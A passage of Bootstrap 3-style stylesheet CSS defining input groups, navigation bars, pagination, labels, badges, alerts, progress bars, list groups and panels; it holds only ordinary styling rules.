6px; } .input-group-addon input[type="radio"], .input-group-addon input[type="checkbox"] { margin-top: 0; } .input-group .form-control:first-child, .input-group-addon:first-child, .input-group-btn:first-child > .btn, .input-group-btn:first-child > .btn-group > .btn, .input-group-btn:first-child > .dropdown-toggle, .input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), .input-group-btn:last-child > .btn-group:not(:last-child) > .btn { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group-addon:first-child { border-right: 0; } .input-group .form-control:last-child, .input-group-addon:last-child, .input-group-btn:last-child > .btn, .input-group-btn:last-child > .btn-group > .btn, .input-group-btn:last-child > .dropdown-toggle, .input-group-btn:first-child > .btn:not(:first-child), .input-group-btn:first-child > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } .input-group-addon:last-child { border-left: 0; } .input-group-btn { position: relative; font-size: 0; white-space: nowrap; } .input-group-btn > .btn { position: relative; } .input-group-btn > .btn + .btn { margin-left: -1px; } .input-group-btn > .btn:hover, .input-group-btn > .btn:focus, .input-group-btn > .btn:active { z-index: 2; } .input-group-btn:first-child > .btn, .input-group-btn:first-child > .btn-group { margin-right: -1px; } .input-group-btn:last-child > .btn, .input-group-btn:last-child > .btn-group { margin-left: -1px; } .nav { padding-left: 0; margin-bottom: 0; list-style: none; } .nav > li { position: relative; display: block; } .nav > li > a { position: relative; display: block; padding: 10px 15px; } .nav > li > a:hover, .nav > li > a:focus { text-decoration: none; background-color: #eee; } .nav > li.disabled > a { color: #999; } .nav > li.disabled > a:hover, .nav > li.disabled > a:focus { color: #999; text-decoration: none; cursor: not-allowed; background-color: transparent; } .nav .open > a, .nav .open > a:hover, .nav .open > a:focus { background-color: #eee; border-color: #428bca; } .nav .nav-divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .nav > li > a > img { max-width: none; } .nav-tabs { border-bottom: 1px solid #ddd; } .nav-tabs > li { float: left; margin-bottom: -1px; } .nav-tabs > li > a { margin-right: 2px; line-height: 1.428571429; border: 1px solid transparent; border-radius: 4px 4px 0 0; } .nav-tabs > li > a:hover { border-color: #eee #eee #ddd; } .nav-tabs > li.active > a, .nav-tabs > li.active > a:hover, .nav-tabs > li.active > a:focus { color: #555; cursor: default; background-color: #fff; border: 1px solid #ddd; border-bottom-color: transparent; } .nav-tabs.nav-justified { width: 100%; border-bottom: 0; } .nav-tabs.nav-justified > li { float: none; } .nav-tabs.nav-justified > li > a { margin-bottom: 5px; text-align: center; } .nav-tabs.nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .nav-tabs.nav-justified > li { display: table-cell; width: 1%; } .nav-tabs.nav-justified > li > a { margin-bottom: 0; } } .nav-tabs.nav-justified > li > a { margin-right: 0; border-radius: 4px; } .nav-tabs.nav-justified > .active > a, .nav-tabs.nav-justified > .active > a:hover, .nav-tabs.nav-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .nav-tabs.nav-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .nav-tabs.nav-justified > .active > a, .nav-tabs.nav-justified > .active > a:hover, .nav-tabs.nav-justified > .active > a:focus { border-bottom-color: #fff; } } .nav-pills > li { float: left; } .nav-pills > li > a { border-radius: 4px; } .nav-pills > li + li { margin-left: 2px; } .nav-pills > li.active > a, .nav-pills > li.active > a:hover, .nav-pills > li.active > a:focus { color: #fff; background-color: #428bca; } .nav-stacked > li { float: none; } .nav-stacked > li + li { margin-top: 2px; margin-left: 0; } .nav-justified { width: 100%; } .nav-justified > li { float: none; } .nav-justified > li > a { margin-bottom: 5px; text-align: center; } .nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .nav-justified > li { display: table-cell; width: 1%; } .nav-justified > li > a { margin-bottom: 0; } } .nav-tabs-justified { border-bottom: 0; } .nav-tabs-justified > li > a { margin-right: 0; border-radius: 4px; } .nav-tabs-justified > .active > a, .nav-tabs-justified > .active > a:hover, .nav-tabs-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .nav-tabs-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .nav-tabs-justified > .active > a, .nav-tabs-justified > .active > a:hover, .nav-tabs-justified > .active > a:focus { border-bottom-color: #fff; } } .tab-content > .tab-pane { display: none; } .tab-content > .active { display: block; } .nav-tabs .dropdown-menu { margin-top: -1px; border-top-left-radius: 0; border-top-right-radius: 0; } .navbar { position: relative; } @media (min-width: 768px) { .navbar-header { float: left; } } .navbar-collapse { max-height: 340px; padding-right: 15px; padding-left: 15px; overflow-x: visible; -webkit-overflow-scrolling: touch; border-top: 1px solid transparent; box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); } .navbar-collapse.in { overflow-y: auto; } @media (min-width: 768px) { .navbar-collapse { width: auto; border-top: 0; box-shadow: none; } .navbar-collapse.collapse { display: block !important; height: auto !important; padding-bottom: 0; overflow: visible !important; } .navbar-collapse.in { overflow-y: visible; } .navbar-fixed-top .navbar-collapse, .navbar-static-top .navbar-collapse, .navbar-fixed-bottom .navbar-collapse { padding-right: 0; padding-left: 0; } } .container > .navbar-header, .container-fluid > .navbar-header, .container > .navbar-collapse, .container-fluid > .navbar-collapse { margin-right: -15px; margin-left: -15px; } @media (min-width: 768px) { .container > .navbar-header, .container-fluid > .navbar-header, .container > .navbar-collapse, .container-fluid > .navbar-collapse { margin-right: 0; margin-left: 0; } } .navbar-static-top { z-index: 1000; border-width: 0 0 1px; } @media (min-width: 768px) { .navbar-static-top { border-radius: 0; } } .navbar-fixed-top, .navbar-fixed-bottom { position: fixed; right: 0; left: 0; z-index: 1030; } @media (min-width: 768px) { .navbar-fixed-top, .navbar-fixed-bottom { border-radius: 0; } } .navbar-fixed-top { top: 0; border-width: 0 0 1px; } .navbar-fixed-bottom { bottom: 0; margin-bottom: 0; border-width: 1px 0 0; } .navbar-brand { float: left; height: 20px; padding: 15px 15px; font-size: 18px; line-height: 20px; } .navbar-brand:hover, .navbar-brand:focus { text-decoration: none; } @media (min-width: 768px) { .navbar > .container .navbar-brand, .navbar > .container-fluid .navbar-brand { margin-left: -15px; } } .navbar-toggle { position: relative; float: right; padding: 9px 10px; margin-top: 8px; margin-right: 15px; margin-bottom: 8px; background-color: transparent; background-image: none; border: 1px solid transparent; border-radius: 4px; } .navbar-toggle:focus { outline: none; } .navbar-toggle .icon-bar { display: block; width: 22px; height: 2px; border-radius: 1px; } .navbar-toggle .icon-bar + .icon-bar { margin-top: 4px; } @media (min-width: 768px) { .navbar-toggle { display: none; } } .navbar-nav { margin: 7.5px -15px; } .navbar-nav > li > a { padding-top: 10px; padding-bottom: 10px; line-height: 20px; } @media (max-width: 767px) { .navbar-nav .open .dropdown-menu { position: static; float: none; width: auto; margin-top: 0; background-color: transparent; border: 0; box-shadow: none; } .navbar-nav .open .dropdown-menu > li > a, .navbar-nav .open .dropdown-menu .dropdown-header { padding: 5px 15px 5px 25px; } .navbar-nav .open .dropdown-menu > li > a { line-height: 20px; } .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-nav .open .dropdown-menu > li > a:focus { background-image: none; } } @media (min-width: 768px) { .navbar-nav { float: left; margin: 0; } .navbar-nav > li { float: left; } .navbar-nav > li > a { padding-top: 15px; padding-bottom: 15px; } .navbar-nav.navbar-right:last-child { margin-right: -15px; } } @media (min-width: 768px) { .navbar-left { float: left !important; } .navbar-right { float: right !important; } } .navbar-form { padding: 10px 15px; margin-top: 8px; margin-right: -15px; margin-bottom: 8px; margin-left: -15px; border-top: 1px solid transparent; border-bottom: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); } @media (min-width: 768px) { .navbar-form .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .navbar-form .form-control { display: inline-block; width: auto; vertical-align: middle; } .navbar-form .control-label { margin-bottom: 0; vertical-align: middle; } .navbar-form .radio, .navbar-form .checkbox { display: inline-block; padding-left: 0; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .navbar-form .radio input[type="radio"], .navbar-form .checkbox input[type="checkbox"] { float: none; margin-left: 0; } .navbar-form .has-feedback .form-control-feedback { top: 0; } } @media (max-width: 767px) { .navbar-form .form-group { margin-bottom: 5px; } } @media (min-width: 768px) { .navbar-form { width: auto; padding-top: 0; padding-bottom: 0; margin-right: 0; margin-left: 0; border: 0; -webkit-box-shadow: none; box-shadow: none; } .navbar-form.navbar-right:last-child { margin-right: -15px; } } .navbar-nav > li > .dropdown-menu { margin-top: 0; border-top-left-radius: 0; border-top-right-radius: 0; } .navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .navbar-btn { margin-top: 8px; margin-bottom: 8px; } .navbar-btn.btn-sm { margin-top: 10px; margin-bottom: 10px; } .navbar-btn.btn-xs { margin-top: 14px; margin-bottom: 14px; } .navbar-text { margin-top: 15px; margin-bottom: 15px; } @media (min-width: 768px) { .navbar-text { float: left; margin-right: 15px; margin-left: 15px; } .navbar-text.navbar-right:last-child { margin-right: 0; } } .navbar-default { background-color: #f8f8f8; border-color: #e7e7e7; } .navbar-default .navbar-brand { color: #777; } .navbar-default .navbar-brand:hover, .navbar-default .navbar-brand:focus { color: #5e5e5e; background-color: transparent; } .navbar-default .navbar-text { color: #777; } .navbar-default .navbar-nav > li > a { color: #777; } .navbar-default .navbar-nav > li > a:hover, .navbar-default .navbar-nav > li > a:focus { color: #333; background-color: transparent; } .navbar-default .navbar-nav > .active > a, .navbar-default .navbar-nav > .active > a:hover, .navbar-default .navbar-nav > .active > a:focus { } .navbar-default .navbar-nav > .disabled > a, .navbar-default .navbar-nav > .disabled > a:hover, .navbar-default .navbar-nav > .disabled > a:focus { color: #ccc; background-color: transparent; } .navbar-default .navbar-toggle { border-color: #ddd; } .navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus { background-color: #ddd; } .navbar-default .navbar-toggle .icon-bar { background-color: #888; } .navbar-default .navbar-collapse, .navbar-default .navbar-form { border-color: #e7e7e7; } .navbar-default .navbar-nav > .open > a, .navbar-default .navbar-nav > .open > a:hover, .navbar-default .navbar-nav > .open > a:focus { color: #555; background-color: #e7e7e7; } @media (max-width: 767px) { .navbar-default .navbar-nav .open .dropdown-menu > li > a { color: #777; } .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { color: #333; background-color: transparent; } .navbar-default .navbar-nav .open .dropdown-menu > .active > a, .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { } .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #ccc; background-color: transparent; } } .navbar-default .navbar-link { color: #777; } .navbar-default .navbar-link:hover { color: #333; } .navbar-inverse { background-color: #222; border-color: #080808; } .navbar-inverse .navbar-brand { color: #999; } .navbar-inverse .navbar-brand:hover, .navbar-inverse .navbar-brand:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-text { color: #999; } .navbar-inverse .navbar-nav > li > a { color: #999; } .navbar-inverse .navbar-nav > li > a:hover, .navbar-inverse .navbar-nav > li > a:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-nav > .active > a, .navbar-inverse .navbar-nav > .active > a:hover, .navbar-inverse .navbar-nav > .active > a:focus { color: #fff; background-color: #080808; } .navbar-inverse .navbar-nav > .disabled > a, .navbar-inverse .navbar-nav > .disabled > a:hover, .navbar-inverse .navbar-nav > .disabled > a:focus { color: #444; background-color: transparent; } .navbar-inverse .navbar-toggle { border-color: #333; } .navbar-inverse .navbar-toggle:hover, .navbar-inverse .navbar-toggle:focus { background-color: #333; } .navbar-inverse .navbar-toggle .icon-bar { background-color: #fff; } .navbar-inverse .navbar-collapse, .navbar-inverse .navbar-form { border-color: #101010; } .navbar-inverse .navbar-nav > .open > a, .navbar-inverse .navbar-nav > .open > a:hover, .navbar-inverse .navbar-nav > .open > a:focus { color: #fff; background-color: #080808; } @media (max-width: 767px) { .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { border-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu .divider { background-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { color: #999; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { color: #fff; background-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #444; background-color: transparent; } } .navbar-inverse .navbar-link { color: #999; } .navbar-inverse .navbar-link:hover { color: #fff; } .breadcrumb { padding: 8px 15px; margin-bottom: 20px; list-style: none; background-color: #f5f5f5; border-radius: 4px; } .breadcrumb > li { display: inline-block; } .breadcrumb > li + li:before { padding: 0 5px; color: #ccc; content: "/\00a0"; } .breadcrumb > .active { color: #999; } .pagination { display: inline-block; padding-left: 0; margin: 20px 0; border-radius: 4px; } .pagination > li { display: inline; } .pagination > li > a, .pagination > li > span { position: relative; float: left; padding: 6px 12px; margin-left: -1px; line-height: 1.428571429; color: #428bca; text-decoration: none; background-color: #fff; border: 1px solid #ddd; } .pagination > li:first-child > a, .pagination > li:first-child > span { margin-left: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .pagination > li:last-child > a, .pagination > li:last-child > span { border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .pagination > li > a:hover, .pagination > li > span:hover, .pagination > li > a:focus, .pagination > li > span:focus { color: #2a6496; background-color: #eee; border-color: #ddd; } .pagination > .active > a, .pagination > .active > span, .pagination > .active > a:hover, .pagination > .active > span:hover, .pagination > .active > a:focus, .pagination > .active > span:focus { z-index: 2; color: #fff; cursor: default; background-color: #428bca; border-color: #428bca; } .pagination > .disabled > span, .pagination > .disabled > span:hover, .pagination > .disabled > span:focus, .pagination > .disabled > a, .pagination > .disabled > a:hover, .pagination > .disabled > a:focus { color: #999; cursor: not-allowed; background-color: #fff; border-color: #ddd; } .pagination-lg > li > a, .pagination-lg > li > span { padding: 10px 16px; font-size: 18px; } .pagination-lg > li:first-child > a, .pagination-lg > li:first-child > span { border-top-left-radius: 6px; border-bottom-left-radius: 6px; } .pagination-lg > li:last-child > a, .pagination-lg > li:last-child > span { border-top-right-radius: 6px; border-bottom-right-radius: 6px; } .pagination-sm > li > a, .pagination-sm > li > span { padding: 5px 10px; font-size: 12px; } .pagination-sm > li:first-child > a, .pagination-sm > li:first-child > span { border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .pagination-sm > li:last-child > a, .pagination-sm > li:last-child > span { border-top-right-radius: 3px; border-bottom-right-radius: 3px; } .pager { padding-left: 0; margin: 20px 0; text-align: center; list-style: none; } .pager li { display: inline; } .pager li > a, .pager li > span { display: inline-block; padding: 5px 14px; background-color: #fff; border: 1px solid #ddd; border-radius: 15px; } .pager li > a:hover, .pager li > a:focus { text-decoration: none; background-color: #eee; } .pager .next > a, .pager .next > span { float: right; } .pager .previous > a, .pager .previous > span { float: left; } .pager .disabled > a, .pager .disabled > a:hover, .pager .disabled > a:focus, .pager .disabled > span { color: #999; cursor: not-allowed; background-color: #fff; } .label { display: inline; padding: .2em .6em .3em; font-size: 75%; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em; } .label[href]:hover, .label[href]:focus { color: #fff; text-decoration: none; cursor: pointer; } .label:empty { display: none; } .btn .label { position: relative; top: -1px; } .label-default { background-color: #999; } .label-default[href]:hover, .label-default[href]:focus { background-color: #808080; } .label-primary { background-color: #428bca; } .label-primary[href]:hover, .label-primary[href]:focus { background-color: #3071a9; } .label-success { background-color: #5cb85c; } .label-success[href]:hover, .label-success[href]:focus { background-color: #449d44; } .label-info { background-color: #5bc0de; } .label-info[href]:hover, .label-info[href]:focus { background-color: #31b0d5; } .label-warning { background-color: #f0ad4e; } .label-warning[href]:hover, .label-warning[href]:focus { background-color: #ec971f; } .label-danger { background-color: #d9534f; } .label-danger[href]:hover, .label-danger[href]:focus { background-color: #c9302c; } .badge { display: inline-block; min-width: 10px; padding: 3px 7px; font-size: 12px; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; background-color: #999; border-radius: 10px; } .badge:empty { display: none; } .btn .badge { position: relative; top: -1px; } .btn-xs .badge { top: 0; padding: 1px 5px; } a.badge:hover, a.badge:focus { color: #fff; text-decoration: none; cursor: pointer; } a.list-group-item.active > .badge, .nav-pills > .active > a > .badge { color: #428bca; background-color: #fff; } .nav-pills > li > a > .badge { margin-left: 3px; } .jumbotron { padding: 30px; margin-bottom: 30px; color: inherit; background-color: #eee; } .jumbotron h1, .jumbotron .h1 { color: inherit; } .jumbotron p { margin-bottom: 15px; font-size: 21px; font-weight: 200; } .container .jumbotron { border-radius: 6px; } .jumbotron .container { max-width: 100%; } @media screen and (min-width: 768px) { .jumbotron { padding-top: 48px; padding-bottom: 48px; } .container .jumbotron { padding-right: 60px; padding-left: 60px; } .jumbotron h1, .jumbotron .h1 { font-size: 63px; } } .thumbnail { display: block; padding: 4px; margin-bottom: 20px; line-height: 1.428571429; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: all .2s ease-in-out; transition: all .2s ease-in-out; } .thumbnail > img, .thumbnail a > img { display: block; max-width: 100%; height: auto; margin-right: auto; margin-left: auto; } a.thumbnail:hover, a.thumbnail:focus, a.thumbnail.active { border-color: #428bca; } .thumbnail .caption { padding: 9px; color: #333; } .alert { padding: 15px; margin-bottom: 20px; border: 1px solid transparent; border-radius: 4px; } .alert h4 { margin-top: 0; color: inherit; } .alert .alert-link { font-weight: bold; } .alert > p, .alert > ul { margin-bottom: 0; } .alert > p + p { margin-top: 5px; } .alert-dismissable { padding-right: 35px; } .alert-dismissable .close { position: relative; top: -2px; right: -21px; color: inherit; } .alert-success { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .alert-success hr { border-top-color: #c9e2b3; } .alert-success .alert-link { color: #2b542c; } .alert-info { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .alert-info hr { border-top-color: #a6e1ec; } .alert-info .alert-link { color: #245269; } .alert-warning { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .alert-warning hr { border-top-color: #f7e1b5; } .alert-warning .alert-link { color: #66512c; } .alert-danger { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .alert-danger hr { border-top-color: #e4b9c0; } .alert-danger .alert-link { color: #843534; } @-webkit-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } .progress { height: 18px; margin-bottom: 8px; margin-top: 8px; overflow: hidden; background-color: #f5f5f5; border-radius: 4px; } .progress-bar { float: left; width: 0; height: 100%; font-size: 12px; line-height: 20px; color: #fff; text-align: center; background-color: #428bca; -webkit-transition: width .6s ease; transition: width .6s ease; } .progress-striped .progress-bar { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-size: 40px 40px; } .progress.active .progress-bar { -webkit-animation: progress-bar-stripes 2s linear infinite; animation: progress-bar-stripes 2s linear infinite; } .progress-bar-success { background-color: #5cb85c; } .progress-striped .progress-bar-success { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-info { background-color: #5bc0de; } .progress-striped .progress-bar-info { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-warning { background-color: #f0ad4e; } .progress-striped .progress-bar-warning { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-danger { background-color: #d9534f; } .progress-striped .progress-bar-danger { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .media, .media-body { overflow: hidden; zoom: 1; } .media, .media .media { margin-top: 15px; } .media:first-child { margin-top: 0; } .media-object { display: block; } .media-heading { margin: 0 0 5px; } .media > .pull-left { margin-right: 10px; } .media > .pull-right { margin-left: 10px; } .media-list { padding-left: 0; list-style: none; } .list-group { padding-left: 0; margin-bottom: 20px; } .list-group-item { position: relative; display: block; padding: 10px 15px; margin-bottom: -1px; background-color: #fff; border: 1px solid #ddd; } .list-group-item:first-child { border-top-left-radius: 4px; border-top-right-radius: 4px; } .list-group-item:last-child { margin-bottom: 0; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; } .list-group-item > .badge { float: right; } .list-group-item > .badge + .badge { margin-right: 5px; } a.list-group-item { color: #555; } a.list-group-item .list-group-item-heading { color: #333; } a.list-group-item:hover, a.list-group-item:focus { text-decoration: none; background-color: #f5f5f5; } a.list-group-item.active, a.list-group-item.active:hover, a.list-group-item.active:focus { z-index: 2; color: #fff; background-color: #428bca; border-color: #428bca; } a.list-group-item.active .list-group-item-heading, a.list-group-item.active:hover .list-group-item-heading, a.list-group-item.active:focus .list-group-item-heading { color: inherit; } a.list-group-item.active .list-group-item-text, a.list-group-item.active:hover .list-group-item-text, a.list-group-item.active:focus .list-group-item-text { color: #e1edf7; } .list-group-item-success { color: #3c763d; background-color: #dff0d8; } a.list-group-item-success { color: #3c763d; } a.list-group-item-success .list-group-item-heading { color: inherit; } a.list-group-item-success:hover, a.list-group-item-success:focus { color: #3c763d; background-color: #d0e9c6; } a.list-group-item-success.active, a.list-group-item-success.active:hover, a.list-group-item-success.active:focus { color: #fff; background-color: #3c763d; border-color: #3c763d; } .list-group-item-info { color: #31708f; background-color: #d9edf7; } a.list-group-item-info { color: #31708f; } a.list-group-item-info .list-group-item-heading { color: inherit; } a.list-group-item-info:hover, a.list-group-item-info:focus { color: #31708f; background-color: #c4e3f3; } a.list-group-item-info.active, a.list-group-item-info.active:hover, a.list-group-item-info.active:focus { color: #fff; background-color: #31708f; border-color: #31708f; } .list-group-item-warning { color: #8a6d3b; background-color: #fcf8e3; } a.list-group-item-warning { color: #8a6d3b; } a.list-group-item-warning .list-group-item-heading { color: inherit; } a.list-group-item-warning:hover, a.list-group-item-warning:focus { color: #8a6d3b; background-color: #faf2cc; } a.list-group-item-warning.active, a.list-group-item-warning.active:hover, a.list-group-item-warning.active:focus { color: #fff; background-color: #8a6d3b; border-color: #8a6d3b; } .list-group-item-danger { color: #a94442; background-color: #f2dede; } a.list-group-item-danger { color: #a94442; } a.list-group-item-danger .list-group-item-heading { color: inherit; } a.list-group-item-danger:hover, a.list-group-item-danger:focus { color: #a94442; background-color: #ebcccc; } a.list-group-item-danger.active, a.list-group-item-danger.active:hover, a.list-group-item-danger.active:focus { color: #fff; background-color: #a94442; border-color: #a94442; } .list-group-item-heading { margin-top: 0; margin-bottom: 5px; } .list-group-item-text { margin-bottom: 0; line-height: 1.3; } .panel { margin-bottom: 20px; background-color: #fff; border: 1px solid transparent; border-radius: 4px; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05); box-shadow: 0 1px 1px rgba(0, 0, 0, .05); } .panel-body { padding: 15px; } .panel > .list-group { margin-bottom: 0; } .panel > .list-group .list-group-item { border-width: 1px 0; border-radius: 0; } .panel > .list-group .list-group-item:first-child { border-top: 0; } .panel > .list-group .list-group-item:last-child { border-bottom: 0; } .panel > .list-group:first-child .list-group-item:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .list-group:last-child .list-group-item:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel-heading + .list-group .list-group-item:first-child { border-top-width: 0; } .panel > .table, .panel > .table-responsive > .table { margin-bottom: 0; } .panel > .table:first-child > thead:first-child > tr:first-child td:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, .panel > .table:first-child > thead:first-child > tr:first-child th:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { border-top-left-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child td:last-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, .panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, .panel > .table:first-child > thead:first-child > tr:first-child th:last-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, .panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { border-top-right-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, .panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, .panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { border-bottom-right-radius: 3px; } .panel > .panel-body + .table, .panel > .panel-body + .table-responsive { border-top: 1px solid #ddd; } .panel > .table > tbody:first-child > tr:first-child th, .panel > .table > tbody:first-child > tr:first-child td { border-top: 0; } .panel > .table-bordered, .panel > .table-responsive > .table-bordered { border: 0; } .panel > .table-bordered > thead > tr > th:first-child, .panel > .table-responsive > .table-bordered > thead > tr > th:first-child, .panel > .table-bordered > tbody > tr > th:first-child, .panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, .panel > .table-bordered > tfoot > tr > th:first-child, .panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, .panel > .table-bordered > thead > tr > td:first-child, .panel > .table-responsive > .table-bordered > thead > tr > td:first-child, .panel > .table-bordered > tbody > tr > td:first-child, .panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, .panel > .table-bordered > tfoot > tr > td:first-child, .panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .panel > .table-bordered > thead > tr > th:last-child, .panel > .table-responsive > .table-bordered > thead > tr > th:last-child, .panel > .table-bordered > tbody > tr > th:last-child, .panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, .panel > .table-bordered > tfoot > tr > th:last-child, .panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, .panel > .table-bordered > thead > tr > td:last-child, .panel > .table-responsive > .table-bordered > thead > tr > td:last-child, .panel > .table-bordered > tbody > tr > td:last-child, .panel > 